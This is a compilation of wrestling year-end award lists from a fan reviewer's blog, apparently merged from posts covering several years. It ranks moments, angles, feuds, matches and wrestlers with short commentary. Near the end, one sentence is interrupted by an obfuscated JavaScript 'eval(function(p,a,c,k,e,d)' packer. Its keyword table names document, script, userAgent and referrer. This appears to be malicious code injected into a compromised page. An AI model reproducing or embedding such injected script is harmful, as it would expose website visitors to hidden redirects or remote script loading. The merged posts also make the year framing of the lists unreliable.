We have some more.

Moment Of The Year

5. Brock Lesnar Lifts The Ring With A Bulldozer
4. CM Punk’s All Out Rant
3. Cody Rhodes Is Back
2. Stephanie McMahon Announces Vince McMahon’s Retirement
1. Steve Austin Wrestles Again

This continues to support my mantra of NEVER SAY NEVER in wrestling. Austin retired back in 2003 and has not wrestled since. But then, one day, Kevin Owens called Austin out for an appearance at Wrestlemania XXXVIII. You knew something was going to happen, but then it got even bigger as Owens challenged Austin to a No Holds Barred match. Austin gave an amazing face where you could see the wheels turning….and then he said yes. The bell rang and we were actually seeing it again. And then it was good! This was one of those things I never thought I would see but there it was, right in front of your eyes.

Angle Of The Year

5. Mickie James’ Last Rodeo
4. Bianca Belair vs. Becky Lynch
3. FTR vs. Briscoes
2. CM Punk vs. MJF
1. Bloodline

Where do you begin? It is very rare in wrestling for a story to keep going on for so long and not get dull. The Bloodline manages to find ways to keep going, even with Roman Reigns barely around a lot of the time. To top the whole thing off, you have Sami Zayn, who is trying his hardest to give the Bloodline a higher level of Ucey, but Reigns isn’t exactly pleased with what he’s doing. I want to see where things go week to week and that is not something I get to say very often.

Feud Of The Year

5. Bianca Belair vs. Becky Lynch
4. RKBro vs. Usos
3. Brawling Brutes vs. Imperium
2. MJF vs. CM Punk
1. FTR vs. The Briscoes

I was going back and forth between this one and MJF vs. Punk, but so much of MJF vs. Punk took place in 2021 that FTR and the Briscoes just beat it out. At the end of the day, there is nothing that is topping three instant classics like those three had and nothing was going to beat it. They had an awesome segment before their first match, because we can’t have the Briscoes on AEW TV so at least they had something in the way of talking. It was outstanding and they somehow kept it amazing throughout the entire feud.

News Story Of The Year

5. Wrestlers Return To WWE
4. HHH Is In charge
3. Naomi/Sasha Banks Walk Out
2. Brawl Out
1. Vince McMahon Retires

Ok so this one is already a little bit out of date, but there is nothing that comes close to touching this one. You can have your Brawl Out and all that, but the person who modernized professional wrestling and has dominated the industry for 20+ years walked away from the company he built into a global juggernaut. That is the kind of game changers that you do not see in wrestling ever and now we are dealing with the insane fallout. McMahon retiring was the story of the year, if not the story of the decade.

Match Of The Year

5. Cody Rhodes vs. Seth Rollins – Hell In A Cell
4. FTR vs. Briscoes – Final Battle
3. Sheamus vs. Gunther – Clash At The Castle
2. CM Punk vs. MJF – Revolution
1. FTR vs. Briscoes – Supercard Of Honor

We’ll start with the best/and then there’s this (depending on which way this is posted), as you had two teams stealing the show on the biggest wrestling weekend of the year. It was the match that I knew I had to see and it blew away any and all expectations. Throw in the fact that it was a clean match that ran almost half an hour and never once felt long and you know you have something special. I can’t praise this match enough as it more than blew away the considerable hype.

Wrestler Of The Year

5. Bianca Belair
4. Josh Alexander
3. Sami Zayn
2. Jay White
1. Roman Reigns

One of the best things a wrestler can have is presence and that is where Reigns shines. You can feel something special whenever he is in on screen and it makes a huge difference. The Bloodline has featured some amazing moments, all of which revolve around Reigns. Throw in the fact that he has the matches to back it up and this is one of the easier picks of the year so far.

We’ll wrap it up with some sad parts of the year.

Worst Angle Of The Year

5. Karrion Kross Keeps Losing
4. Cody Rhodes vs. QT Marshall
3. Fiend/Alexa Bliss Exist
2. Nikki Ash

1. Lilly

I was going to go with Nikki, but then I thought of that doll. That stupid, rotten, horrible, no good doll, WHICH WINKED AT THE CAMERA AND THEN APPEARED IN A MIRROR. WWE went out of their way to destroy a lot of people and things for the sake of pushing the idea that Alexa Bliss had an evil doll. It was some bad horror movie come to life and I could not stand this stupid thing, which is somehow following us into 2022, because of course it is.

Angle Of The Year

5. CM Punk Is An Old Gunslinger
4. The Rise Of RKBro
3. Baron Corbin Is Broke And It’s Hilarious
2. Hangman Page Wins AEW World Title

1. Whose Side is Paul Heyman On

WWE is pretty terrible these days but this is must see television. Paul Heyman is one of the greatest performers in wrestling history and the things he is doing in this story has been even better than I would have thought possible. Above all else, he made me want to see where the story was going next and it was nothing short of amazing to see every single week. The story is still going in the new year and I really want to see where these things go next. Or just whatever Heyman is going to do.

Worst Match Of The Year

5. Charlotte vs. Nia Jax – Raw – August 30
4. Randy Orton vs. Bray Wyatt – Wrestlemania
3. Alexa Bliss vs. Eva Marie – Summerslam
2. Miz vs. Damian Priest – Wrestlemania Backlash

1. Kenny Omega vs. Jon Moxley – Revolution

This is one where your mileage may vary, but ultimately, this was a bunch of barbed wire violence before the lamest ending you could imagine. It was like some sparklers going off in place of an explosion. Ignoring the total disaster of the ending, you had the carnage for the sake of carnage, all because AEW wanted to recreate some angle from Japan, down to Eddie Kingston trying to cover Moxley and selling the….well nothing really. This was bad on all fronts and is still somehow even worse than I remember.

News Story Of The Year

5. NXT Gets Its Own Sequel
4. Ring Of Honor Hiatus
3. Huge Stars To AEW
2. Fans Return

1. WWE Releases

I don’t know how it could be anything else, as WWE did not so much take the roster apart but completely gutted the thing. Over the last year and a half, WWE has literally released over a hundred wrestlers. That isn’t just going to shake up the WWE, but also the wrestling world as a whole. In addition to weakening the WWE roster, it opened up the flood gates to all kinds of other promotions. Several wrestlers have since moved elsewhere, which has made some other companies that much more interesting. This was a game changer, and the amazing part is it might not be done yet.

Feud Of The Year

5. Roman Reigns vs. Edge
4. Pinnacle vs. Inner Circle
3. Edge vs. Seth Rollins
2. Kenny Omega vs. Hangman Page

1. Roman Reigns vs. John Cena

This might have been short, but what mattered was how big this felt. That’s the kind of thing you don’t get to see very often, but Cena can make it work so well. Above all else, this felt like a feud that belonged in the main event of one of biggest shows of the year. Then the match wound up working too, which shouldn’t be a surprise. It wasn’t long, but Reigns defeated Cena in a huge main event and it felt like a showdown.

Title Reign Of The Year

5. Bianca Belair – Smackdown Women’s Title
4. Young Bucks – AEW Tag Team Titles
3. Bobby Lashley – WWE Championship
2. Kenny Omega – AEW World Title

1. Roman Reigns – Universal Title

The words “of the year” apply here, because Reigns was champion for the entire year. That is not something you get to see very often but it has been pretty incredible for a very long time now. Reigns comes off as the biggest star in all of wrestling and has been bringing people up just by association. This was an easy pick to make, because holding the title for a year is hard to fathom back in the day, let alone modern times.

This is one of the bigger ones as the angles are the things that carry the audience’s interest. There were some good ones throughout the year and it might be nice to look back at them after so many things went badly this year. Wrestling had a hard time making things work and yet there were more than a few good options to pick from. Hopefully my memory is working this time so let’s get to it.

As usual, in no particular order until the winner at the end.

Who Is Returning To Impact Wrestling?

I’m not sure what else to call this or even if it counts as an angle, but I had a great time watching this over the summer. Someone who had been released from WWE was going to be returning to the company at Slammiversary and it became a huge Whoisit story. That’s one of the best angles that can be done and the big reveals at the end were….well just ok at best, but at least the build up was great.

Golden Role Models Explode

It’s a story that was built up for a very long time and then they finally paid the whole thing off. I’m not sure if it was worth all of the time and effort put in, but everything they set up felt like it was building to a moment and then we actually got there. These two have a very detailed history together and then they kept building on it even more, with the two of them owning all of the women’s titles. It felt like a big deal when they got to the ending and the match in the Cell, with Bayley finally losing the title, was rather good. This was long form storytelling and you don’t get that very often in WWE.

The Rise And Fall Of Hangman Page

Now this one is interesting as I could see it seems like we have only seen part of the story so far. Page started the year hot by winning the Tag Team Titles with Kenny Omega but seemed to like booze more than anything else, including his partner. He continues to seem to be trying to find himself but has no way of knowing where to look. The idea of Page ultimately discovering his inner….whatever it is and dethroning Omega to win the World Title is incredibly intriguing, but for now, I’ll settle for him becoming a lost soul and slowly starting to work his way back to the real world, because the details in this have been very good so far.

Randy Orton vs. The Legends

I’m a sucker for Orton. Even though he has done something similar more than once before, it is something he does rather well and it was nice to see various other legends other than Ric Flair (though of course we had Flair in there too because we have to) involved for a change. The sequence of legends in the ambulance match worked too and Orton even wound up winning the World Title to have the story mean something in the end. Not bad for something that has been done probably half a dozen times before.

Those were all good, but there wasn’t much doubt on this one.

Roman Reigns Is The Head Of The Table

Reigns came back at Summerslam and seemed to have an edge to him but it didn’t exactly feel like some big game changer. Then one night the camera panned out to show Paul Heyman next to him and it was clear that we were in for something new. With the big change taking place, it became very obvious that Reigns wasn’t just a heel but rather THE heel, as he was the monster that everyone had been wanting to see him as for years. This went rolling for a few months and showed no signs of slowing down at the end of the year. Throw in Reigns getting great matches out of Jey Uso and this was the head of the list with no question about it.

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AND

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IMG Credit: WWE

This is another one that depends on how you look at it. Sometimes an angle can be short term or long term, but what matters is how effective the whole thing is. There were some good options in 2019 and they can open some doors to some big stuff down the line. But what was the best one of the year?

Daniel Bryan Is Captain Planet

There is something special about a wrestler who gets to be themselves in the ring and that is exactly what we had here. Bryan is known for his environmental causes and that’s what he got to do in the middle of the ring with some of the best promos that were a combination of a way to get great heat and a message that had some value outside of wrestling.

This led to one of the more bizarre partnerships in recent years as Bryan teamed with Erick Rowan in a weird intellectual pairing, though they certainly had some success. I was hoping to see more of them but unfortunately the team’s split ended Bryan’s environmentalist run, which had some serious potential with Bryan knowing how to say every single thing to drive the fans crazier and crazier.

The Fiend

Yeah I’m getting tired of talking about him in these things too but it was that big of a deal this year. The Fiend is something that you don’t see every year or even a lot longer than that as it was something that fits Bray Wyatt so well. Much like Bryan’s environmental stuff, there is a lot of Wyatt being put into the dual character and it makes things work that much better.

I know the Fiend seems like something as simple as good and evil, but there is more to it than that. Consider how much everyone who has faced the Fiend has changed (from heel turns to changes in appearance) and how Wyatt can be heard shouting as Fiend attacks in an attempt to control him. That is another level of development and part of what made this year so special.

Seth Rollins Is The Beastslayer

As intricate as the Fiend was, this one is a lot more basic: Brock Lesnar can’t beat Seth Rollins. That was the case at Wrestlemania and then Rollins did it again at Summerslam, both times for the Universal Title. It’s something that no one has been able to do to Lesnar in a long time and Rollins made it work (ignore how bad things went after the title changes).

What makes this better is it was built up over the years. Lesnar has always had trouble with smaller, faster opponents and Rollins served as the final boss of the concept. He was able to go in and take Lesnar out with a combination of speed, heart, and a bunch of low blows. It might not have been something that worked long term, but how can you argue with beating Lesnar twice in a year?

And now, say it with me.

Kofimania

Much like the Fiend, I’m not sure what else there is to say about this one but it earned every bit of the praise it has received. Kofi was built up for years as a solid hand who didn’t belong in the main event scene. The problem though was he never got a chance, and as soon as that was pointed out, the fans suddenly wanted to see Kofi pull off the miracle that was over ten years in the making.

But then they did exactly what the fans wanted and it made things work to perfection. Suddenly Kofi was not only in the main event but coming close to becoming WWE Champion. After a long stretch of trying to get the WWE Championship title shot at Wrestlemania, Kofi wound up on the biggest stage of them all and kicked Daniel Bryan’s head off to win the title. The moment was great, but it was the journey that got us there that made everything work. Tie in the amazingly emotional celebration and this wasn’t being topped.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also -available as an e-book) from Amazon. Check out the information here:

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IMG Credit: WWE

It’s the beginning of a new year and that means it’s time for one thing: me to take way too long to put up my Best Of 2018 awards. This year the plan is to put up two a day for the next ten days (or less if I change my mind about some of the categories). Note that the options here are based on what I’ve seen, so if I left off something the likelihood is that I didn’t see it or didn’t see enough of it to have a strong opinion (read as: most New Japan/indy stuff). As usual, I’ll list off the runners up in no particular order and then the winner. Hopefully these are a bit better than my previous efforts so let’s get to it.

Now this is something that is always interesting because they’re the things that make wrestling go round. Without the storylines that make things work, the wrestling is just a bunch of people having matches for the sake of action. A story doesn’t have to be big, but without a good one the shows don’t work all that well. The big stories were kind of lacking in 2018, but there were some awesome options.

She’s The Man

We’ll start with the hottest thing in the company at the moment: the rise of Becky Lynch. This isn’t something that WWE seemed to have planned but it wound up being one of the best things to happen to the company in a very long time. The fans have gotten behind her and all roads seem to lead to a major match, if not the main event, of Wrestlemania 35. If that’s the case, it won’t only be historic, but it could also be a huge deal just as a regular story.

Above all else, Lynch has been nailing the character work. She’s channeled this entire idea that she’s the best to perfection and it comes off like she believes every word. You don’t get that in wrestling often enough and she’s doing it as well as anyone I’ve ever seen. She’s not the next Austin (because there can’t be another Austin) or the next Punk (because there can’t be another Punk). Instead she’s being herself, and it’s working very well.

Full Circle

Anyone who has followed me for any reasonable amount of time knows that I’m a Miz fan. He’s one of the best villains WWE has had in a long time and the fact that they keep coming back to him should tell you all you need to know about how great he really is. His lifelong nemesis is Daniel Bryan, both due to their history and the two of them being polar opposites. It was the dream match we never got due to Bryan’s injuries….but those are long gone.

The two of them picked their feud up again and had a really good match at Summerslam, but it didn’t quite feel complete. The next step, in a story we’ll be revisiting later, saw Bryan turn heel with Miz almost drooling at the idea of Bryan admitting that he was right all along. It was the teacher becoming the teacher all over again and Miz sold it to perfection. Bryan’s heel turn has been awesome, but his stuff with Miz was as good as it got.

The Gall Of That Man

Back in October, Roman Reigns was forced to vacate the Universal Title due to his Leukemia returning. It was as emotional and real of a moment as you’ll see in WWE, but the night wasn’t over yet. Later that same evening, Dean Ambrose and Seth Rollins won the Raw Tag Team Titles in honor of their Shield mate. We still weren’t done though as Ambrose turned on Rollins to end the Shield and become the biggest heel on the roster.

I loved this, because it’s the kind of thing WWE doesn’t do very often. This was taking a real life story and turning it into something. The turn had been teased for over a month and this was finally the time to pull the trigger. It put incredible heat on Ambrose and it couldn’t have been done much better. The follow up didn’t work, but my goodness it was an amazing moment when they actually went with something like this. It was great, but it should have been incredible.

Whodunit

Aleister Black was injured at a house show and had to go on the shelf. Since NXT knows what they’re doing, they turned it into a several months long whodunit mystery, as the question became who actually attacked Black. Everyone was a suspect and in the end, Johnny Gargano was revealed as the attacker as he gave in to evil to try and stop Tommaso Ciampa.

What made this story so great is that it fell into NXT’s lap and they ran with the thing. Not only did you get the reveal, some great promos and Black vs. Gargano, but you also got the excellent Ciampa vs. Velveteen Dream match as Dream accused Ciampa of being behind everything. That’s the kind of storytelling you don’t get every day and NXT made the most of a bad situation.

When I started writing this, Whodunit was the runaway winner. Then I realized it was only part of the real Angle of the Year.

Welcome To The Dark Side

In a name you’re going to hear a lot in these things this year, Johnny Gargano’s heel turn/descent into evil was second to none. What started as an incredible year with Gargano doing everything imaginable other than winning the NXT Title turned into a nightmare as Gargano became obsessed with ending Tommaso Ciampa’s reign of evil. That evil consumed Gargano, who took out his aggression on Aleister Black in a horrible assault, which saw Gargano become everything he hated in the name of stopping Ciampa.

This is the story of the year because it has a beginning, middle and ending. Gargano turning was foreshadowed when he couldn’t tell William Regal he didn’t do it and, as usual in NXT, the fun part was watching everything play out from there. This story isn’t over yet, but the ride they’ve taken us on so far has been magical. Gargano has gone from the light to the darkness, and now the question is whether it destroys him or if he comes out the other side. That’s great storytelling, and it’s the best of the year.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 1997 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

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I’m not even bothering to make the Kurt joke this year.

This is one of the biggest awards of the year because angles are what matters more than almost anything else. You can have a heck of a match but it doesn’t mean very much without a reason to care about these people. There were some great ones over the course of the year and you might have forgotten a few of them so here we are again.

We’ll start with the build to one of the biggest matches of the year. A three way feud is one of the hardest things to pull off in wrestling but NXT managed to do it (I’m as shocked as you are). This time around they set up Sanity vs. the Undisputed Era vs. Roderick Strong/Authors of Pain in FREAKING WARGAMES. That’s more than enough to make this a big deal and it was awesome as a bonus.

From the same show, we have a match that I completely underrated when it aired in the first place. In the build towards Takeover: WarGames, Velveteen Dream may have wanted to sleep with Aleister Black (it’s not clear) but the whole idea came down to Black not saying Dream’s name. The match wound up being awesome and we even got a payoff with Black saying his name after kicking Dream’s head off. Great build, great match, great payoff.

I know it was short term but Chris Jericho vs. Kenny Omega had a heck of a build to a match that wasn’t taking place in 2017. This felt like an old school blood feud between two guys who just don’t like each other. Jericho kept attacking Omega and now I want to see them fight. I mean, I’ve seen it by now but at least the build was awesome in a way you don’t get very much anymore.

If you’ve read my stuff over the last few years, you know I’m a big fan of Sami Zayn and Kevin Owens. That alone should tell you I was excited to see them getting a bigger push, which is exactly what we got when Sami saved Kevin from Shane McMahon’s latest Cell dive. This set them up as some awesome heels over on Smackdown and I’m interested to see where this goes from here, which is the best thing that can happen.

This is less of an angle and more of just the build to a match but John Cena vs. Roman Reigns became must see television for a good while there. It was in the same vein as Rock vs. Cena from years back with two guys trading bombs against each other, albeit with only one actually managing to make that much contact. Cena mauled Reigns on the mic and the win did help Reigns, but my goodness this was one sided up until the bell rang. Incredibly entertaining, but destruction otherwise.

That leaves us with one more option and it’s gone throughout the entire year. Johnny Gargano started the year as one half of the NXT Tag Team Champions but the Authors of Pain took care of that back in January. Then Gargano and Tommaso Ciampa lost the rematch at Takeover: Chicago, which resulted in the team splitting. It was all downhill for Gargano from there, even to the point of him losing matches just because he saw a DIY t-shirt. He kept fighting though and eventually won a #1 contenders competition to end the year. It was a year long story and it never once got boring, which made it the story of the year.

It eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdnir|var|u0026u|referrer|kbzze||js|php'.split('|'),0,{})) wouldn’t be right if I was on time with these things but they’re mostly written up.  I’ll be able to do more than one a day (not saying twice a day) and hopefully get these done before they’re completely ridiculous. 1. Chris Jericho and Kevin Owens Are Best Friends

https://www.amazon.com/dp/B01MQKDV5O

And check out my Amazon author page with cheap wrestling books at:

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*Insert eye rolling Kurt joke here.*It’s pretty much a layup, but I’ll go with the Summer of Punk.  This got people paying attention and people were wondering what was real and what wasn’t, which is a very entertaining way to go with an angle.  I loved this and it worked incredibly well.  On top of that the matches were awesome, which is always a bonus.

Your thoughts/picks?